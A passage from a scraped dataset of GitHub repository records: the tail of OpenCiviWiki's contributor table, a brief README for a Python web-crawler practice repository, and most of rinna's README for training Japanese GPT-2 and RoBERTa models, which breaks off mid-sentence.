valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/shiv-aay\"><img src=\"https://avatars.githubusercontent.com/u/58257395?v=4?s=100\" width=\"100px;\" alt=\"Shivaay\"/><br /><sub><b>Shivaay</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=shiv-aay\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.linkedin.com/in/shourya-shikhar\"><img src=\"https://avatars.githubusercontent.com/u/55531939?v=4?s=100\" width=\"100px;\" alt=\"Shourya Shikhar\"/><br /><sub><b>Shourya Shikhar</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=danger-ahead\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Shreyas4991\"><img src=\"https://avatars3.githubusercontent.com/u/4014341?v=4?s=100\" width=\"100px;\" alt=\"Shrys\"/><br /><sub><b>Shrys</b></sub></a><br /><a href=\"#ideas-Shreyas4991\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3AShreyas4991\" title=\"Bug reports\">\ud83d\udc1b</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://about.me/Simarjot\"><img src=\"https://avatars.githubusercontent.com/u/22258411?v=4?s=100\" width=\"100px;\" alt=\"Simarjot Singh (Monga)\"/><br /><sub><b>Simarjot Singh (Monga)</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=simar5244\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/SimonDamberg\"><img src=\"https://avatars.githubusercontent.com/u/49840909?v=4?s=100\" width=\"100px;\" alt=\"Simon Damberg\"/><br /><sub><b>Simon Damberg</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=SimonDamberg\" title=\"Code\">\ud83d\udcbb</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://soumallyadev.live\"><img src=\"https://avatars.githubusercontent.com/u/55331884?v=4?s=100\" width=\"100px;\" alt=\"Soumallya Dev\"/><br /><sub><b>Soumallya Dev</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=soumallyadev07\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://stanmd.tk\"><img src=\"https://avatars.githubusercontent.com/u/15629602?v=4?s=100\" width=\"100px;\" alt=\"Stanley Ndagi\"/><br /><sub><b>Stanley Ndagi</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=NdagiStanley\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Sv3nman\"><img src=\"https://avatars0.githubusercontent.com/u/14117015?v=4?s=100\" width=\"100px;\" alt=\"Steven Hitchcock\"/><br /><sub><b>Steven Hitchcock</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Sv3nman\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Germlord\"><img src=\"https://avatars.githubusercontent.com/u/34950441?v=4?s=100\" width=\"100px;\" alt=\"Steven Hitchcock\"/><br /><sub><b>Steven Hitchcock</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Germlord\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ssm0801\"><img src=\"https://avatars.githubusercontent.com/u/46257802?v=4?s=100\" width=\"100px;\" alt=\"Sudhanshu Motewar\"/><br /><sub><b>Sudhanshu Motewar</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/pulls?q=is%3Apr+reviewed-by%3Assm0801\" title=\"Reviewed Pull Requests\">\ud83d\udc40</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Swanand01\"><img src=\"https://avatars.githubusercontent.com/u/75439077?v=4?s=100\" width=\"100px;\" alt=\"Swanand01\"/><br /><sub><b>Swanand01</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=Swanand01\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://dev.tomjohnhall.com/\"><img src=\"https://avatars0.githubusercontent.com/u/21244070?v=4?s=100\" width=\"100px;\" alt=\"Tom John Hall\"/><br /><sub><b>Tom John Hall</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=tomjohnhall\" title=\"Code\">\ud83d\udcbb</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.linkedin.com/in/tomaszkolek\"><img src=\"https://avatars3.githubusercontent.com/u/5993758?v=4?s=100\" width=\"100px;\" alt=\"Tomasz Kolek\"/><br /><sub><b>Tomasz Kolek</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=TomaszKolek\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=TomaszKolek\" title=\"Tests\">\u26a0\ufe0f</a> <a href=\"#security-TomaszKolek\" title=\"Security\">\ud83d\udee1\ufe0f</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/pulls?q=is%3Apr+reviewed-by%3ATomaszKolek\" title=\"Reviewed Pull Requests\">\ud83d\udc40</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/torabshaikh\"><img src=\"https://avatars0.githubusercontent.com/u/18557453?v=4?s=100\" width=\"100px;\" alt=\"Torab Shaikh\"/><br /><sub><b>Torab Shaikh</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=torabshaikh\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/tractaylor\"><img src=\"https://avatars0.githubusercontent.com/u/5148702?v=4?s=100\" width=\"100px;\" alt=\"Trac Taylor\"/><br /><sub><b>Trac Taylor</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=tractaylor\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3Atractaylor\" title=\"Bug reports\">\ud83d\udc1b</a> <a href=\"#ideas-tractaylor\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://in.linkedin.com/in/umr55766\"><img src=\"https://avatars0.githubusercontent.com/u/16179313?v=4?s=100\" width=\"100px;\" alt=\"UMAIR MOHAMMAD\"/><br /><sub><b>UMAIR MOHAMMAD</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=umr55766\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://linktr.ee/Vishal_D_A\"><img src=\"https://avatars.githubusercontent.com/u/67089703?v=4?s=100\" width=\"100px;\" alt=\"Vishal D A\"/><br /><sub><b>Vishal D A</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=vishalda\" title=\"Code\">\ud83d\udcbb</a> <a href=\"#content-vishalda\" title=\"Content\">\ud83d\udd8b</a> <a href=\"#translation-vishalda\" title=\"Translation\">\ud83c\udf0d</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/WCollins3\"><img src=\"https://avatars0.githubusercontent.com/u/10867839?v=4?s=100\" width=\"100px;\" alt=\"WCollins3\"/><br /><sub><b>WCollins3</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=WCollins3\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/SunflowerPKU\"><img src=\"https://avatars3.githubusercontent.com/u/23006864?v=4?s=100\" width=\"100px;\" alt=\"Xin Tan\"/><br /><sub><b>Xin Tan</b></sub></a><br /><a href=\"#userTesting-SunflowerPKU\" title=\"User Testing\">\ud83d\udcd3</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/morento101\"><img src=\"https://avatars.githubusercontent.com/u/80165970?v=4?s=100\" width=\"100px;\" alt=\"Yaroslav\"/><br /><sub><b>Yaroslav</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=morento101\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/audreyelim\"><img src=\"https://avatars.githubusercontent.com/u/41016300?v=4?s=100\" width=\"100px;\" alt=\"audreyelim\"/><br /><sub><b>audreyelim</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=audreyelim\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/daaavo\"><img src=\"https://avatars.githubusercontent.com/u/108758198?v=4?s=100\" width=\"100px;\" alt=\"daaavo\"/><br /><sub><b>daaavo</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=daaavo\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/delta-plus\"><img src=\"https://avatars0.githubusercontent.com/u/25730621?v=4?s=100\" width=\"100px;\" alt=\"delta-plus\"/><br /><sub><b>delta-plus</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=delta-plus\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3Adelta-plus\" title=\"Bug reports\">\ud83d\udc1b</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=delta-plus\" title=\"Documentation\">\ud83d\udcd6</a> <a href=\"#ideas-delta-plus\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a> <a href=\"#question-delta-plus\" title=\"Answering Questions\">\ud83d\udcac</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/didiermichel\"><img src=\"https://avatars.githubusercontent.com/u/9488079?v=4?s=100\" width=\"100px;\" alt=\"didiermichel\"/><br /><sub><b>didiermichel</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=didiermichel\" title=\"Documentation\">\ud83d\udcd6</a> <a href=\"#infra-didiermichel\" title=\"Infrastructure (Hosting, Build-Tools, etc)\">\ud83d\ude87</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/gorkemarslan\"><img src=\"https://avatars.githubusercontent.com/u/16780927?v=4?s=100\" width=\"100px;\" alt=\"gorkemarslan\"/><br /><sub><b>gorkemarslan</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=gorkemarslan\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=gorkemarslan\" title=\"Tests\">\u26a0\ufe0f</a> <a href=\"#infra-gorkemarslan\" title=\"Infrastructure (Hosting, Build-Tools, etc)\">\ud83d\ude87</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/gteti\"><img src=\"https://avatars1.githubusercontent.com/u/51110452?v=4?s=100\" width=\"100px;\" alt=\"gteti\"/><br /><sub><b>gteti</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=gteti\" title=\"Documentation\">\ud83d\udcd6</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/guido97\"><img src=\"https://avatars.githubusercontent.com/u/44304394?v=4?s=100\" width=\"100px;\" alt=\"guido97\"/><br /><sub><b>guido97</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=guido97\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jgbmattos\"><img src=\"https://avatars0.githubusercontent.com/u/10090364?v=4?s=100\" width=\"100px;\" alt=\"jgbmattos\"/><br /><sub><b>jgbmattos</b></sub></a><br /><a href=\"#userTesting-jgbmattos\" title=\"User Testing\">\ud83d\udcd3</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/jjoseph18\"><img src=\"https://avatars.githubusercontent.com/u/82232960?v=4?s=100\" width=\"100px;\" alt=\"jjoseph18\"/><br /><sub><b>jjoseph18</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=jjoseph18\" title=\"Documentation\">\ud83d\udcd6</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/max1204\"><img src=\"https://avatars.githubusercontent.com/u/20409353?v=4?s=100\" width=\"100px;\" alt=\"max1204\"/><br /><sub><b>max1204</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=max1204\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/oppcatchera\"><img src=\"https://avatars.githubusercontent.com/u/65623690?v=4?s=100\" width=\"100px;\" alt=\"oppcatchera\"/><br /><sub><b>oppcatchera</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=oppcatchera\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/earthprelude\"><img src=\"https://avatars.githubusercontent.com/u/75330343?v=4?s=100\" width=\"100px;\" alt=\"prelude\"/><br /><sub><b>prelude</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=earthprelude\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/rbatchu2\"><img src=\"https://avatars.githubusercontent.com/u/112577508?v=4?s=100\" width=\"100px;\" alt=\"rbatchu2\"/><br /><sub><b>rbatchu2</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=rbatchu2\" title=\"Code\">\ud83d\udcbb</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/rdhoge\"><img src=\"https://avatars.githubusercontent.com/u/59403275?v=4?s=100\" width=\"100px;\" alt=\"rdhoge\"/><br /><sub><b>rdhoge</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=rdhoge\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/richifuentes\"><img src=\"https://avatars2.githubusercontent.com/u/9931749?v=4?s=100\" width=\"100px;\" alt=\"richifuentes\"/><br /><sub><b>richifuentes</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3Arichifuentes\" title=\"Bug reports\">\ud83d\udc1b</a> <a href=\"#question-richifuentes\" title=\"Answering Questions\">\ud83d\udcac</a> <a href=\"#ideas-richifuentes\" title=\"Ideas, Planning, & Feedback\">\ud83e\udd14</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/tberm\"><img src=\"https://avatars.githubusercontent.com/u/49910363?v=4?s=100\" width=\"100px;\" alt=\"tberm\"/><br /><sub><b>tberm</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=tberm\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/terrencetuy\"><img src=\"https://avatars3.githubusercontent.com/u/13714060?v=4?s=100\" width=\"100px;\" alt=\"terrencetuy\"/><br /><sub><b>terrencetuy</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=terrencetuy\" title=\"Code\">\ud83d\udcbb</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/wassafshahzad\"><img src=\"https://avatars.githubusercontent.com/u/25094157?v=4?s=100\" width=\"100px;\" alt=\"wassaf shahzad\"/><br /><sub><b>wassaf shahzad</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=wassafshahzad\" title=\"Code\">\ud83d\udcbb</a> <a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=wassafshahzad\" title=\"Tests\">\u26a0\ufe0f</a> <a href=\"#infra-wassafshahzad\" title=\"Infrastructure (Hosting, Build-Tools, etc)\">\ud83d\ude87</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/werberger\"><img src=\"https://avatars.githubusercontent.com/u/106753124?v=4?s=100\" width=\"100px;\" alt=\"werb\"/><br /><sub><b>werb</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/issues?q=author%3Awerberger\" title=\"Bug reports\">\ud83d\udc1b</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/wippo-devops\"><img src=\"https://avatars.githubusercontent.com/u/85387801?v=4?s=100\" width=\"100px;\" alt=\"wippo-devops\"/><br /><sub><b>wippo-devops</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=wippo-devops\" title=\"Code\">\ud83d\udcbb</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.facebook.com/zafar.hussain2000\"><img src=\"https://avatars.githubusercontent.com/u/7498674?v=4?s=100\" width=\"100px;\" alt=\"zafar hussain\"/><br /><sub><b>zafar hussain</b></sub></a><br /><a href=\"https://github.com/CiviWiki/OpenCiviWiki/commits?author=zafar-hussain\" title=\"Documentation\">\ud83d\udcd6</a></td>\n    </tr>\n  </tbody>\n</table>\n\n<!-- markdownlint-restore -->\n<!-- prettier-ignore-end -->\n\n<!-- ALL-CONTRIBUTORS-LIST:END -->\n\nThis project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind are welcome!\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Northxw/Python3_WebSpider", "link": "https://github.com/Northxw/Python3_WebSpider", "tags": [], "stars": 502, "description": "Python3 \u7f51\u7edc\u722c\u866b\u5b9e\u8df5\u96c6\u5408\u3002\u6d89\u53ca\u591a\u7c7b\u578b\u9a8c\u8bc1\u7801\u8bc6\u522b\u3001\u591a\u7c7b\u578b\u6a21\u62df\u767b\u9646\u3001\u591a\u7c7b\u578b\u53cd\u53cd\u722c\u63aa\u65bd\u3001APP\u6570\u636e\u6293\u53d6\u3001Scrapy\u6846\u67b6\u3001\u5206\u5e03\u5f0f\u722c\u866b\u7b49\u3002", "lang": "Python", "repo_lang": "", "readme": "##Python3 WebSpider\n&emsp; Python3 web crawler practice code, only for learning and communication.\n\n## Tip\n&emsp; Unless otherwise specified, the compilation environment is: **Python 3.6.5, Pycharm 2018.3.5**.\n\n## Notice\n&emsp; It will not be updated in the short term, and it will depend on the situation later. The project code is already very early, and many crawler cracking logic or ideas may be outdated, and it is only for crawler entry exercises.", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "rinnakk/japanese-pretrained-models", "link": "https://github.com/rinnakk/japanese-pretrained-models", "tags": ["nlp", "japanese", "gpt2", "roberta"], "stars": 503, "description": "Code for producing Japanese pretrained models provided by rinna Co., Ltd.", "lang": "Python", "repo_lang": "", "readme": "\n# japanese-pretrained-models \n\n## (previously: japanese-gpt2)\n\n![rinna-icon](./rinna.png)\n\nThis repository provides the code for training Japanese pretrained models. This code has been used for producing [japanese-gpt2-medium](https://huggingface.co/rinna/japanese-gpt2-medium), [japanese-gpt2-small](https://huggingface.co/rinna/japanese-gpt2-small), [japanese-gpt2-xsmall](https://huggingface.co/rinna/japanese-gpt2-xsmall), and [japanese-roberta-base](https://huggingface.co/rinna/japanese-roberta-base) released on HuggingFace model hub by [rinna Co., Ltd.](https://corp.rinna.co.jp/)\n\nCurrently supported pretrained models include: [GPT-2](https://d4mucfpksywv.cloudfront.net/better-language-models/language-models.pdf), [RoBERTa](https://arxiv.org/pdf/1907.11692.pdf).\n\n| Table of Contents |\n|-|\n| [Update log](#update-log) |\n| [Use tips](#use-tips) |\n| [Use our pretrained models via Huggingface](#use-our-pretrained-models-via-huggingface) |\n| [Train `japanese-gpt2-xsmall` from scratch](#train-japanese-gpt2-xsmall-from-scratch) |\n| [Train `japanese-roberta-base` from scratch](#train-japanese-roberta-base-from-scratch) |\n| [License](#license) |\n\n---\n\n**Please open an issue (in English/\u65e5\u672c\u8a9e) if you encounter any problem using the code or using our models via Huggingface.**\n\nif you find this work useful, please cite the following paper:\n\n~~~\n@article{rinna_pretrained2021,\n    title={\u65e5\u672c\u8a9e\u81ea\u7136\u8a00\u8a9e\u51e6\u7406\u306b\u304a\u3051\u308b\u4e8b\u524d\u5b66\u7fd2\u30e2\u30c7\u30eb\u306e\u516c\u958b},\n    author={\u8d99 \u5929\u96e8 and \u6ca2\u7530 \u6176},\n    journal={\u4eba\u5de5\u77e5\u80fd\u5b66\u4f1a\u7814\u7a76\u4f1a\u8cc7\u6599 \u8a00\u8a9e\u30fb\u97f3\u58f0\u7406\u89e3\u3068\u5bfe\u8a71\u51e6\u7406\u7814\u7a76\u4f1a},\n    volume={93},\n    pages={169-170},\n    year={2021},\n    doi={10.11517/jsaislud.93.0_169}\n}\n~~~\n\n---\n\n## Update log\n\n* 2022/01/25 Updated link to `rinna/japanese-gpt-1b` in the model summary table.\n \n* 2022/01/17 Updated citation information.\n\n* 2021/11/01 Updated corpora links.\n\n* 2021/09/13 Added tips on using `position_ids` with `japanese-roberta-base`. Refer to [issue 3](https://github.com/rinnakk/japanese-pretrained-models/issues/3) for details.\n\n* 2021/08/26 **\\[Important\\]** Updated license from the MIT license to the Apache 2.0 license due to the use of the Wikipedia pre-processing code from [cl-tohoku/bert-japanese](https://github.com/cl-tohoku/bert-japanese). See [issue 1](https://github.com/rinnakk/japanese-pretrained-models/issues/1) for details.\n\n* 2021/08/23 Added Japanese Wikipedia to training corpora. Published code for training `rinna/japanese-gpt2-small`, `rinna/japanese-gpt2-xsmall`, and `rinna/japanese-roberta-base`.\n\n* 2021/08/18 Changed repo name from `japanese-gpt2` to `japanese-pretrained-models`\n\n* 2021/06/15 Fixed best PPL tracking bug when using a checkpoint.\n\n* 2021/05/04 Fixed random seeding bug for Multi-GPU training.\n\n* 2021/04/06 Published code for training `rinna/japanese-gpt2-medium`.\n\n---\n\n## Use tips\n\n### Tips for `rinna/japanese-roberta-base`\n\n* Use `[CLS]`: To predict a masked token, be sure to add a `[CLS]` token before the sentence for the model to correctly encode it, as it is used during the model training.\n\n* Use `[MASK]` after tokenization: A) Directly typing `[MASK]` in an input string and B) replacing a token with `[MASK]` after tokenization will yield different token sequences, and thus different prediction results. It is more appropriate to use `[MASK]` after tokenization (as it is consistent with how the model was pretrained). However, the Huggingface Inference API only supports typing `[MASK]` in the input string and produces less robust predictions.\n\n* Provide `position_ids` as an argument explicitly: When `position_ids` are not provided for a `Roberta*` model, Huggingface's `transformers` will automatically construct it but start from `padding_idx` instead of `0` (see [issue](https://github.com/rinnakk/japanese-pretrained-models/issues/3) and function `create_position_ids_from_input_ids()` in Huggingface's [implementation](https://github.com/huggingface/transformers/blob/master/src/transformers/models/roberta/modeling_roberta.py)), which unfortunately does not work as expected with `rinna/japanese-roberta-base` since the `padding_idx` of the corresponding tokenizer is not `0`. So please be sure to constrcut the `position_ids` by yourself and make it start from position id `0`.\n\n---\n\n## Use our pretrained models via Huggingface\n\n### Model summary\n\n| language model | # params | # layers | # emb dim | # epochs | dev ppl | training time\\* |\n|-|-|-|-|-|-|-|\n| [rinna/japanese-gpt-1b](https://huggingface.co/rinna/japanese-gpt-1b) | 1.3B | 24 | 2048 | 10+ | 13.9 | n/a\\*\\* |\n| [rinna/japanese-gpt2-medium](https://huggingface.co/rinna/japanese-gpt2-medium) | 336M | 24 | 1024 | 4 | 18 | 45 days |\n| [rinna/japanese-gpt2-small](https://huggingface.co/rinna/japanese-gpt2-small) | 110M | 12 | 768 | 3 | 21 | 15 days |\n| [rinna/japanese-gpt2-xsmall](https://huggingface.co/rinna/japanese-gpt2-xsmall) | 37M | 6 | 512 | 3 | 28 | 4 days |\n\n| masked language model | # params | # layers | # emb dim | # epochs | dev ppl | training time\\* |\n|-|-|-|-|-|-|-|\n| [rinna/japanese-roberta-base](https://huggingface.co/rinna/japanese-roberta-base) | 110M | 12 | 768 | 8 | 3.9 | 15 days |\n\n*\\* Training was conducted on a 8x V100 32GB machine.*\n\n*\\*\\* Training was conducted using a different codebase and a different computing environment.*\n\n### Example: use `rinna/japanese-roberta-base` for predicting masked token\n\n~~~\nimport torch\nfrom transformers import T5Tokenizer, RobertaForMaskedLM\n\n# load tokenizer\ntokenizer = T5Tokenizer.from_pretrained(\"rinna/japanese-roberta-base\")\ntokenizer.do_lower_case = True  # due to some bug of tokenizer config loading\n\n# load model\nmodel = RobertaForMaskedLM.from_pretrained(\"rinna/japanese-roberta-base\")\nmodel = model.eval()\n\n# original text\ntext = \"4\u5e74\u306b1\u5ea6\u30aa\u30ea\u30f3\u30d4\u30c3\u30af\u306f\u958b\u304b\u308c\u308b\u3002\"\n\n# prepend [CLS]\ntext = \"[CLS]\" + text\n\n# tokenize\ntokens = tokenizer.tokenize(text)\nprint(tokens)  # output: ['[CLS]', '\u25814', '\u5e74\u306b', '1', '\u5ea6', '\u30aa\u30ea\u30f3\u30d4\u30c3\u30af', '\u306f', '\u958b\u304b\u308c\u308b', '\u3002']']\n\n# mask a token\nmasked_idx = 5\ntokens[masked_idx] = tokenizer.mask_token\nprint(tokens)  # output: ['[CLS]', '\u25814', '\u5e74\u306b', '1', '\u5ea6', '[MASK]', '\u306f', '\u958b\u304b\u308c\u308b', '\u3002']\n\n# convert to ids\ntoken_ids = tokenizer.convert_tokens_to_ids(tokens)\nprint(token_ids)  # output: [4, 1602, 44, 24, 368, 6, 11, 21583, 8]\n\n# convert to tensor\ntoken_tensor = torch.LongTensor([token_ids])\n\n# provide position ids explicitly\nposition_ids = list(range(0, token_tensor.size(1)))\nprint(position_ids)  # output: [0, 1, 2, 3, 4, 5, 6, 7, 8]\nposition_id_tensor = torch.LongTensor([position_ids])\n\n# get the top 10 predictions of the masked token\nwith torch.no_grad():\n    outputs = model(input_ids=token_tensor, position_ids=position_id_tensor)\n    predictions = outputs[0][0, masked_idx].topk(10)\n\nfor i, index_t in enumerate(predictions.indices):\n    index = index_t.item()\n    token = tokenizer.convert_ids_to_tokens([index])[0]\n    print(i, token)\n\n\"\"\"\n0 \u7dcf\u4f1a\n1 \u30b5\u30df\u30c3\u30c8\n2 \u30ef\u30fc\u30eb\u30c9\u30ab\u30c3\u30d7\n3 \u30d5\u30a7\u30b9\u30c6\u30a3\u30d0\u30eb\n4 \u5927\u4f1a\n5 \u30aa\u30ea\u30f3\u30d4\u30c3\u30af\n6 \u5168\u56fd\u5927\u4f1a\n7 \u515a\u5927\u4f1a\n8 \u30a4\u30d9\u30f3\u30c8\n9 \u4e16\u754c\u9078\u624b\u6a29\n\"\"\"\n~~~\n\n---\n\n## Train `japanese-gpt2-xsmall` from scratch\n\n### Install dependencies\n\nInstall required packages by running the following command under the repo directory:\n\n~~~\npip install -r requirements.txt\n~~~\n\n### Data construction and model training\n\n1. Set up [fugashi](https://github.com/polm/fugashi) tokenzier for preprocessing Wikipedia corpus by running:\n~~~\npython -m unidic download\n~~~\n\n2. Download training corpus [Japanese CC-100](http://data.statmt.org/cc-100/) and extract the `ja.txt` file.\n\n3. Move the `ja.txt` file or modify `src/corpus/jp_cc100/config.py` to match the filepath of `ja.txt` with `self.raw_data_dir` in the config file.\n\n4. Split `ja.txt` to smaller files by running:\n~~~~\ncd src/\npython -m corpus.jp_cc100.split_to_small_files\n~~~~\n\n5. First check the versions of Wikipedia dump at [Wikipedia cirrussearch](https://dumps.wikimedia.org/other/cirrussearch/) and fill in `self.download_link` (in file `src/corpus/jp_wiki/config.py`) with the link to your preferred Wikipedia dump version. Then download training corpus Japanese Wikipedia and split it by running:\n~~~\npython -m corpus.jp_wiki.build_pretrain_dataset\npython -m corpus.jp_wiki.split_to_small_files\n~~~\n\n6. Train a xsmall-sized GPT-2 on, for example, 4 V100 GPUs by running:\n~~~~\nCUDA_VISIBLE_DEVICES=0,1,2,3 python -m task.pretrain_gpt2.train \\\n    --n_gpus 4 \\\n    --save_model True \\\n    --enable_log True \\\n    --model_size xsmall \\\n    --model_config_filepath model/gpt2-ja-xsmall-config.json \\\n    --batch_size 20 \\\n    --eval_batch_size 40 \\\n    --n_training_steps 1600000 \\\n    --n_accum_steps 3 \\\n    --init_lr 0.0007\n~~~~\n\n### Interact with the trained model\n\nAssume you have run the training script and saved your xsmall-sized GPT-2 to 